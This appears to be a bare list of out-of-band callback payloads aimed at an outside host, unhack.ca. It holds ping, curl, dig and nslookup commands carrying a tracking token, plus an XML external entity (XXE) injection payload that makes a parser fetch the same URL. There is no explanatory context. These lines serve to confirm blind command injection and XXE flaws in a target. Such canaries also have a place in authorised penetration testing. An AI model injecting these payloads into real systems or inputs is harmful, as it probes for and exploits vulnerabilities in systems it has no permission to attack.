$ ping -c1 -p 0018380bf1bd41f741e965d78109e600 unhack.ca
$ curl http://unhack.ca/p/18380bf1bd41f741e965d78109e6
$ dig 18380bf1bd41f741e965d78109e6 @unhack.ca
$ dig 18380bf1bd41f741e965d78109e6.ns.unhack.ca
C:\> nslookup 18380bf1bd41f741e965d78109e6 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/18380bf1bd41f741e965d78109e6">]> <foo>&xxe;</foo>